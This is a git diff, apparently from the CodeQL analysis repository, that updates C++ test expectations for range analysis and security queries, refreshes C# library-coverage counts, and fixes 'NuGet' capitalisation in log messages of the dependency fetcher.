b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp @@ -1011,10 +1011,10 @@ void test_overflow() { range(x); // $ range===2147483647 const int y = 256; range(y); // $ range===256 - if ((x + y) <= 512) { + if ((x + y) <= 512) { // $ overflow=+ range(x); // $ range===2147483647 range(y); // $ range===256 - range(x + y); // $ range===-2147483393 + range(x + y); // $ range=<=2147483903 overflow=+ } } diff --git a/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c b/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c index 4589aeaac421..00d1acb94965 100644 --- a/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c +++ b/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c @@ -7,4 +7,4 @@ struct Kiwi { struct Lemon { unsigned int __attribute__ ((vector_size (16))) lemon_x; }; -// semmle-extractor-options: -std=c99 --clang --edg --clang_vector_types --gnu_version 40700 +// semmle-extractor-options: -std=c99 --clang --gnu_version 40700 diff --git a/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c b/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c index 927533ab9a86..a09233462182 100644 --- a/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c +++ b/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c @@ -7,4 +7,4 @@ struct Kiwi { struct Lemon { signed int __attribute__ ((vector_size (16))) lemon_x; }; -// semmle-extractor-options: -std=c99 --clang --edg --clang_vector_types --gnu_version 40700 +// semmle-extractor-options: -std=c99 --clang --gnu_version 40700 diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected index 064c4e01e2bc..b516aa0ce875 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected @@ -1,4 +1,10 @@ uniqueEnclosingCallable +| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. | | enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. | diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected index c4b76a9d2fc1..47aa18f9a5b8 100644 --- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected +++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected @@ -1,13 +1,13 @@ -| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 | -| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 | +| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:6:3:6:6 | one1 | 1 | +| test.cpp:3:8:3:8 | C<2> | 0 | int | test.cpp:7:3:7:13 | ... + ... | 2 | | test.cpp:3:8:3:8 | C | 0 | int | file://:0:0:0:0 | x | x | | test.cpp:10:8:10:8 | D | 0 | | test.cpp:9:19:9:19 | T | | | test.cpp:10:8:10:8 | D | 1 | T | file://:0:0:0:0 | X | X | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | int | | | test.cpp:10:8:10:8 | D | 1 | int | test.cpp:12:8:12:8 | 2 | 2 | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | long | | -| test.cpp:10:8:10:8 | D | 1 | long | file://:0:0:0:0 | 2 | 2 | +| test.cpp:10:8:10:8 | D | 1 | long | test.cpp:13:9:13:9 | 2 | 2 | | test.cpp:16:8:16:8 | E | 0 | | test.cpp:15:19:15:19 | T | | | test.cpp:16:8:16:8 | E | 1 | T * | file://:0:0:0:0 | X | X | | test.cpp:16:8:16:8 | E | 0 | | file://:0:0:0:0 | int | | -| test.cpp:16:8:16:8 | E | 1 | int * | file://:0:0:0:0 | 0 | 0 | +| test.cpp:16:8:16:8 | E | 1 | int * | test.cpp:18:8:18:14 | 0 | 0 | diff --git a/cpp/ql/test/library-tests/vector_types/options b/cpp/ql/test/library-tests/vector_types/options deleted file mode 100644 index 5d8122c6f2fd..000000000000 --- a/cpp/ql/test/library-tests/vector_types/options +++ /dev/null @@ -1 +0,0 @@ -semmle-extractor-options: --clang --edg --clang_builtin_functions --edg --clang_vector_types --gnu_version 40600 diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected index 421d12dabd31..c2a952774ff0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected @@ -2,8 +2,8 @@ edges | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:25:2:25:4 | *a | provenance | | | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:30:9:30:14 | *access to array | provenance | | | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:123:2:123:12 | *... = ... | provenance | | -| consts.cpp:25:2:25:4 | *a | consts.cpp:26:2:26:4 | *b | provenance | | -| consts.cpp:26:2:26:4 | *b | consts.cpp:24:7:24:9 | **gv1 | provenance | | +| consts.cpp:25:2:25:4 | *a | consts.cpp:26:2:26:4 | *{...} | provenance | | +| consts.cpp:26:2:26:4 | *{...} | consts.cpp:24:7:24:9 | **gv1 | provenance | | | consts.cpp:29:7:29:25 | **nonConstFuncToArray | consts.cpp:126:9:126:30 | *call to nonConstFuncToArray | provenance | | | consts.cpp:30:9:30:14 | *access to array | consts.cpp:29:7:29:25 | **nonConstFuncToArray | provenance | | | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:86:9:86:10 | *v1 | provenance | | @@ -14,7 +14,7 @@ edges | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:129:19:129:20 | *v1 | provenance | | | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:135:9:135:11 | *v10 | provenance | TaintFunction | | consts.cpp:90:2:90:14 | *... = ... | consts.cpp:91:9:91:10 | *v2 | provenance | | -| consts.cpp:90:2:90:14 | *... = ... | consts.cpp:115:21:115:22 | *v2 | provenance | | +| consts.cpp:90:2:90:14 | *... = ... | consts.cpp:115:21:115:22 | *{...} | provenance | | | consts.cpp:90:7:90:10 | *call to gets | consts.cpp:90:2:90:14 | *... = ... | provenance | | | consts.cpp:90:12:90:13 | gets output argument | consts.cpp:94:13:94:14 | *v1 | provenance | | | consts.cpp:90:12:90:13 | gets output argument | consts.cpp:99:2:99:8 | *... = ... | provenance | | @@ -28,9 +28,9 @@ edges | consts.cpp:106:13:106:19 | *call to varFunc | consts.cpp:107:9:107:10 | *v5 | provenance | | | consts.cpp:111:2:111:15 | *... = ... | consts.cpp:112:9:112:10 | *v6 | provenance | | | consts.cpp:111:7:111:13 | *call to varFunc | consts.cpp:111:2:111:15 | *... = ... | provenance | | -| consts.cpp:115:17:115:18 | *v1 | consts.cpp:115:21:115:22 | *v2 | provenance | | -| consts.cpp:115:21:115:22 | *v2 | consts.cpp:116:9:116:13 | *access to array | provenance | | -| consts.cpp:115:21:115:22 | *v2 | consts.cpp:120:2:120:11 | *... = ... | provenance | | +| consts.cpp:115:17:115:18 | *v1 | consts.cpp:115:21:115:22 | *{...} | provenance | | +| consts.cpp:115:21:115:22 | *{...} | consts.cpp:116:9:116:13 | *access to array | provenance | | +| consts.cpp:115:21:115:22 | *{...} | consts.cpp:120:2:120:11 | *... = ... | provenance | | | consts.cpp:120:2:120:11 | *... = ... | consts.cpp:121:9:121:10 | *v8 | provenance | | | consts.cpp:123:2:123:12 | *... = ... | consts.cpp:24:7:24:9 | **gv1 | provenance | | | consts.cpp:129:19:129:20 | *v1 | consts.cpp:130:9:130:10 | *v9 | provenance | | @@ -39,7 +39,7 @@ edges nodes | consts.cpp:24:7:24:9 | **gv1 | semmle.label | **gv1 | | consts.cpp:25:2:25:4 | *a | semmle.label | *a | -| consts.cpp:26:2:26:4 | *b | semmle.label | *b | +| consts.cpp:26:2:26:4 | *{...} | semmle.label | *{...} | | consts.cpp:29:7:29:25 | **nonConstFuncToArray | semmle.label | **nonConstFuncToArray | | consts.cpp:30:9:30:14 | *access to array | semmle.label | *access to array | | consts.cpp:85:7:85:8 | gets output argument | semmle.label | gets output argument | @@ -60,7 +60,7 @@ nodes | consts.cpp:111:7:111:13 | *call to varFunc | semmle.label | *call to varFunc | | consts.cpp:112:9:112:10 | *v6 | semmle.label | *v6 | | consts.cpp:115:17:115:18 | *v1 | semmle.label | *v1 | -| consts.cpp:115:21:115:22 | *v2 | semmle.label | *v2 | +| consts.cpp:115:21:115:22 | *{...} | semmle.label | *{...} | | consts.cpp:116:9:116:13 | *access to array | semmle.label | *access to array | | consts.cpp:120:2:120:11 | *... = ... | semmle.label | *... = ... | | consts.cpp:121:9:121:10 | *v8 | semmle.label | *v8 | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected index a978b9edd7d2..971cdb4f3ff3 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected @@ -6,8 +6,8 @@ edges | test.cpp:28:10:28:29 | *http://example.com | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:35:23:35:42 | *http://example.com | test.cpp:35:23:35:42 | *http://example.com | provenance | | | test.cpp:35:23:35:42 | *http://example.com | test.cpp:39:11:39:15 | *url_l | provenance | | -| test.cpp:36:26:36:45 | *http://example.com | test.cpp:36:26:36:45 | *http://example.com | provenance | | -| test.cpp:36:26:36:45 | *http://example.com | test.cpp:40:11:40:17 | *access to array | provenance | | +| test.cpp:36:26:36:45 | *http://example.com | test.cpp:36:26:36:45 | *{...} | provenance | | +| test.cpp:36:26:36:45 | *{...} | test.cpp:40:11:40:17 | *access to array | provenance | | | test.cpp:38:11:38:15 | *url_g | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:39:11:39:15 | *url_l | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:40:11:40:17 | *access to array | test.cpp:11:26:11:28 | *url | provenance | | @@ -29,7 +29,7 @@ nodes | test.cpp:35:23:35:42 | *http://example.com | semmle.label | *http://example.com | | test.cpp:35:23:35:42 | *http://example.com | semmle.label | *http://example.com | | test.cpp:36:26:36:45 | *http://example.com | semmle.label | *http://example.com | -| test.cpp:36:26:36:45 | *http://example.com | semmle.label | *http://example.com | +| test.cpp:36:26:36:45 | *{...} | semmle.label | *{...} | | test.cpp:38:11:38:15 | *url_g | semmle.label | *url_g | | test.cpp:39:11:39:15 | *url_l | semmle.label | *url_l | | test.cpp:40:11:40:17 | *access to array | semmle.label | *access to array | diff --git a/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs b/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs index 36feaec47265..83737b5e32bb 100644 --- a/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs +++ b/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs @@ -113,7 +113,7 @@ private BuildScript AddBuildlessStartedDiagnostic() "buildless/mode-active", "C# was extracted with build-mode set to 'none'", visibility: new DiagnosticMessage.TspVisibility(statusPage: true, cliSummaryTable: true, telemetry: true), - markdownMessage: "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + markdownMessage: "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", severity: DiagnosticMessage.TspSeverity.Note )); diff --git a/csharp/documentation/library-coverage/coverage.csv b/csharp/documentation/library-coverage/coverage.csv index 2d786f62d6ef..70a2dfec6cc0 100644 --- a/csharp/documentation/library-coverage/coverage.csv +++ b/csharp/documentation/library-coverage/coverage.csv @@ -4,11 +4,11 @@ Amazon.Lambda.Core,10,,,,,,,,,,,10,,,,,,,,,,, Dapper,55,42,1,,,,,,,,,,55,,42,,,,,,,,1 ILCompiler,,,121,,,,,,,,,,,,,,,,,,,77,44 ILLink.RoslynAnalyzer,,,107,,,,,,,,,,,,,,,,,,,31,76 -ILLink.Shared,,,37,,,,,,,,,,,,,,,,,,,11,26 +ILLink.Shared,,,37,,,,,,,,,,,,,,,,,,,9,28 ILLink.Tasks,,,5,,,,,,,,,,,,,,,,,,,4,1 Internal.IL,,,54,,,,,,,,,,,,,,,,,,,28,26 Internal.Pgo,,,9,,,,,,,,,,,,,,,,,,,2,7 -Internal.TypeSystem,,,342,,,,,,,,,,,,,,,,,,,205,137 +Internal.TypeSystem,,,343,,,,,,,,,,,,,,,,,,,197,146 Microsoft.ApplicationBlocks.Data,28,,,,,,,,,,,,28,,,,,,,,,, Microsoft.AspNetCore.Components,2,4,2,,,,,,,2,,,,,,,,,4,,,1,1 Microsoft.AspNetCore.Http,,,1,,,,,,,,,,,,,,,,,,,1, @@ -21,7 +21,7 @@ Microsoft.DotNet.PlatformAbstractions,,,1,,,,,,,,,,,,,,,,,,,1, Microsoft.EntityFrameworkCore,6,,12,,,,,,,,,,6,,,,,,,,,,12 Microsoft.Extensions.Caching.Distributed,,,3,,,,,,,,,,,,,,,,,,,,3 Microsoft.Extensions.Caching.Memory,,,37,,,,,,,,,,,,,,,,,,,5,32 -Microsoft.Extensions.Configuration,,3,118,,,,,,,,,,,,,3,,,,,,41,77 +Microsoft.Extensions.Configuration,,3,118,,,,,,,,,,,,,3,,,,,,39,79 Microsoft.Extensions.DependencyInjection,,,209,,,,,,,,,,,,,,,,,,,15,194 Microsoft.Extensions.DependencyModel,,1,57,,,,,,,,,,,,,1,,,,,,13,44 Microsoft.Extensions.Diagnostics.Metrics,,,14,,,,,,,,,,,,,,,,,,,1,13 @@ -37,10 +37,10 @@ Microsoft.JSInterop,2,,,,,,,,,,2,,,,,,,,,,,, Microsoft.NET.Build.Tasks,,,5,,,,,,,,,,,,,,,,,,,3,2 Microsoft.VisualBasic,,,6,,,,,,,,,,,,,,,,,,,1,5 Microsoft.Win32,,4,2,,,,,,,,,,,,,,,,,,4,,2 -Mono.Linker,,,278,,,,,,,,,,,,,,,,,,,130,148 +Mono.Linker,,,278,,,,,,,,,,,,,,,,,,,127,151 MySql.Data.MySqlClient,48,,,,,,,,,,,,48,,,,,,,,,, Newtonsoft.Json,,,91,,,,,,,,,,,,,,,,,,,73,18 ServiceStack,194,,7,27,,,,,75,,,,92,,,,,,,,,7, SourceGenerators,,,5,,,,,,,,,,,,,,,,,,,,5 -System,54,47,12111,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5993,6118 +System,54,47,12139,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5903,6236 Windows.Security.Cryptography.Core,1,,,,,,,1,,,,,,,,,,,,,,, diff --git a/csharp/documentation/library-coverage/coverage.rst b/csharp/documentation/library-coverage/coverage.rst index a7c9f8bc54cd..6762de6ed129 100644 --- a/csharp/documentation/library-coverage/coverage.rst +++ b/csharp/documentation/library-coverage/coverage.rst @@ -8,7 +8,7 @@ C# framework & library support Framework / library,Package,Flow sources,Taint & value steps,Sinks (total),`CWE-079` :sub:`Cross-site scripting` `ServiceStack `_,"``ServiceStack.*``, ``ServiceStack``",,7,194, - System,"``System.*``, ``System``",47,12111,54,5 - Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2252,152,4 - Totals,,107,14370,400,9 + System,"``System.*``, ``System``",47,12139,54,5 + Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2253,152,4 + Totals,,107,14399,400,9 diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index 49d35c944bd8..c71013bf7a01 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -127,13 +127,13 @@ public bool Exec(string execArgs) public IList GetNugetFeeds(string nugetConfig) { - logger.LogInfo($"Getting Nuget feeds from '{nugetConfig}'..."); + logger.LogInfo($"Getting NuGet feeds from '{nugetConfig}'..."); return GetResultList($"{nugetListSourceCommand} --configfile \"{nugetConfig}\""); } public IList GetNugetFeedsFromFolder(string folderPath) { - logger.LogInfo($"Getting Nuget feeds in folder '{folderPath}'..."); + logger.LogInfo($"Getting NuGet feeds in folder '{folderPath}'..."); return GetResultList(nugetListSourceCommand, folderPath); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs index 589e72d21265..b1134ad21e24 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs @@ -55,7 +55,7 @@ internal static class EnvironmentVariableNames internal const string NugetFeedResponsivenessRequestCountForFallback = "CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_FALLBACK_LIMIT"; /// - /// Specifies the NuGet feeds to use for fallback Nuget dependency fetching. The value is a space-separated list of feed URLs. + /// Specifies the NuGet feeds to use for fallback NuGet dependency fetching. The value is a space-separated list of feed URLs. /// The default value is `https://api.nuget.org/v3/index.json`. /// public const string FallbackNugetFeeds = "CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_FALLBACK"; diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index f1ad43f83f97..e0e1bc649fa4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -135,16 +135,16 @@ public HashSet Restore() if (nugetPackageDllPaths.Count > 0) { - logger.LogInfo($"Restored {nugetPackageDllPaths.Count} Nuget DLLs."); + logger.LogInfo($"Restored {nugetPackageDllPaths.Count} NuGet DLLs."); } if (excludedPaths.Count > 0) { - logger.LogInfo($"Excluding {excludedPaths.Count} Nuget DLLs."); + logger.LogInfo($"Excluding {excludedPaths.Count} NuGet DLLs."); } foreach (var excludedPath in excludedPaths) { - logger.LogInfo($"Excluded Nuget DLL: {excludedPath}"); + logger.LogInfo($"Excluded NuGet DLL: {excludedPath}"); } nugetPackageDllPaths.ExceptWith(excludedPaths); @@ -152,7 +152,7 @@ public HashSet Restore() } catch (Exception exc) { - logger.LogError($"Failed to restore Nuget packages with nuget.exe: {exc.Message}"); + logger.LogError($"Failed to restore NuGet packages with nuget.exe: {exc.Message}"); } var restoredProjects = RestoreSolutions(out var container); @@ -186,7 +186,7 @@ private List GetReachableFallbackNugetFeeds(HashSet? feedsFromNu if (fallbackFeeds.Count == 0) { fallbackFeeds.Add(PublicNugetOrgFeed); - logger.LogInfo($"No fallback Nuget feeds specified. Adding default feed: {PublicNugetOrgFeed}"); + logger.LogInfo($"No fallback NuGet feeds specified. Adding default feed: {PublicNugetOrgFeed}"); var shouldAddNugetConfigFeeds = EnvironmentVariables.GetBooleanOptOut(EnvironmentVariableNames.AddNugetConfigFeedsToFallback); logger.LogInfo($"Adding feeds from nuget.config to fallback restore: {shouldAddNugetConfigFeeds}"); @@ -196,23 +196,23 @@ private List GetReachableFallbackNugetFeeds(HashSet? feedsFromNu // There are some feeds in `feedsFromNugetConfigs` that have already been checked for reachability, we could skip those. // But we might use different responsiveness testing settings when we try them in the fallback logic, so checking them again is safer. fallbackFeeds.UnionWith(feedsFromNugetConfigs); - logger.LogInfo($"Using Nuget feeds from nuget.config files as fallback feeds: {string.Join(", ", feedsFromNugetConfigs.OrderBy(f => f))}"); + logger.LogInfo($"Using NuGet feeds from nuget.config files as fallback feeds: {string.Join(", ", feedsFromNugetConfigs.OrderBy(f => f))}"); } } - logger.LogInfo($"Checking fallback Nuget feed reachability on feeds: {string.Join(", ", fallbackFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Checking fallback NuGet feed reachability on feeds: {string.Join(", ", fallbackFeeds.OrderBy(f => f))}"); var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: true); var reachableFallbackFeeds = fallbackFeeds.Where(feed => IsFeedReachable(feed, initialTimeout, tryCount, allowExceptions: false)).ToList(); if (reachableFallbackFeeds.Count == 0) { - logger.LogWarning("No fallback Nuget feeds are reachable."); + logger.LogWarning("No fallback NuGet feeds are reachable."); } else { - logger.LogInfo($"Reachable fallback Nuget feeds: {string.Join(", ", reachableFallbackFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Reachable fallback NuGet feeds: {string.Join(", ", reachableFallbackFeeds.OrderBy(f => f))}"); } - compilationInfoContainer.CompilationInfos.Add(("Reachable fallback Nuget feed count", reachableFallbackFeeds.Count.ToString())); + compilationInfoContainer.CompilationInfos.Add(("Reachable fallback NuGet feed count", reachableFallbackFeeds.Count.ToString())); return reachableFallbackFeeds; } @@ -331,7 +331,7 @@ private void RestoreProjects(IEnumerable projects, HashSet? conf return DownloadMissingPackages(usedPackageNames, fallbackNugetFeeds: reachableFallbackFeeds); } - logger.LogWarning("Skipping download of missing packages from specific feeds as no fallback Nuget feeds are reachable."); + logger.LogWarning("Skipping download of missing packages from specific feeds as no fallback NuGet feeds are reachable."); return null; } @@ -624,7 +624,7 @@ private static async Task ExecuteGetRequest(string address, HttpClient httpClien private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, bool allowExceptions = true) { - logger.LogInfo($"Checking if Nuget feed '{feed}' is reachable..."); + logger.LogInfo($"Checking if NuGet feed '{feed}' is reachable..."); // Configure the HttpClient to be aware of the Dependabot Proxy, if used. HttpClientHandler httpClientHandler = new(); @@ -662,7 +662,7 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, try { ExecuteGetRequest(feed, client, cts.Token).GetAwaiter().GetResult(); - logger.LogInfo($"Querying Nuget feed '{feed}' succeeded."); + logger.LogInfo($"Querying NuGet feed '{feed}' succeeded."); return true; } catch (Exception exc) @@ -671,19 +671,19 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, tce.CancellationToken == cts.Token && cts.Token.IsCancellationRequested) { - logger.LogInfo($"Didn't receive answer from Nuget feed '{feed}' in {timeoutMilliSeconds}ms."); + logger.LogInfo($"Didn't receive answer from NuGet feed '{feed}' in {timeoutMilliSeconds}ms."); timeoutMilliSeconds *= 2; continue; } // We're only interested in timeouts. var start = allowExceptions ? "Considering" : "Not considering"; - logger.LogInfo($"Querying Nuget feed '{feed}' failed in a timely manner. {start} the feed for use. The reason for the failure: {exc.Message}"); + logger.LogInfo($"Querying NuGet feed '{feed}' failed in a timely manner. {start} the feed for use. The reason for the failure: {exc.Message}"); return allowExceptions; } } - logger.LogWarning($"Didn't receive answer from Nuget feed '{feed}'. Tried it {tryCount} times."); + logger.LogWarning($"Didn't receive answer from NuGet feed '{feed}'. Tried it {tryCount} times."); return false; } @@ -694,20 +694,20 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, : int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessInitialTimeout), out timeoutMilliSeconds) ? timeoutMilliSeconds : 1000; - logger.LogDebug($"Initial timeout for Nuget feed reachability check is {timeoutMilliSeconds}ms."); + logger.LogDebug($"Initial timeout for NuGet feed reachability check is {timeoutMilliSeconds}ms."); int tryCount = isFallback && int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessRequestCountForFallback), out tryCount) ? tryCount : int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessRequestCount), out tryCount) ? tryCount : 4; - logger.LogDebug($"Number of tries for Nuget feed reachability check is {tryCount}."); + logger.LogDebug($"Number of tries for NuGet feed reachability check is {tryCount}."); return (timeoutMilliSeconds, tryCount); } /// - /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files + /// Checks that we can connect to all NuGet feeds that are explicitly configured in configuration files /// as well as any private package registry feeds that are configured. /// /// Outputs the set of explicit feeds. @@ -727,28 +727,28 @@ private bool CheckFeeds(out HashSet explicitFeeds, out HashSet a var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); if (inheritedFeeds.Count > 0) { - logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); - compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString())); + logger.LogInfo($"Inherited NuGet feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); + compilationInfoContainer.CompilationInfos.Add(("Inherited NuGet feed count", inheritedFeeds.Count.ToString())); } return allFeedsReachable; } /// - /// Checks that we can connect to the specified Nuget feeds. + /// Checks that we can connect to the specified NuGet feeds. /// /// The set of package feeds to check. /// True if all feeds are reachable or false otherwise. private bool CheckSpecifiedFeeds(HashSet feeds) { - logger.LogInfo("Checking that Nuget feeds are reachable..."); + logger.LogInfo("Checking that NuGet feeds are reachable..."); var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck) .ToHashSet(); if (excludedFeeds.Count > 0) { - logger.LogInfo($"Excluded Nuget feeds from responsiveness check: {string.Join(", ", excludedFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Excluded NuGet feeds from responsiveness check: {string.Join(", ", excludedFeeds.OrderBy(f => f))}"); } var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false); @@ -756,17 +756,17 @@ private bool CheckSpecifiedFeeds(HashSet feeds) var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || 